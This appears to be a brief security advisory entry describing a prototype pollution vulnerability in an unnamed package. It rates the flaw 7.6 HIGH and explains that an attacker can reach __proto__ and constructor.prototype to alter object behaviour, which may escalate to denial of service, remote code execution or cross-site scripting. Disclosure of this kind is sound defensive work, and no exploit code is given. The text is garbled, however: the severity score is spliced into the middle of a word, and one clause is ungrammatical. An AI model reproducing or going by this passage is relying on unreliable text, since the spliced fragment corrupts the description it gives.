SVSS Score
7.6 HIGH
Affected versions of this package are vulnerable to Prototype Pollution. An attacker can manipulate the prototype of an object, potentially leading t7.6 HIGHo the alteration of behavior of all objects inheriting from the affected prototype by modify built-in Object.prototype through reachable special properties __proto__ and constructor.prototype. Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.
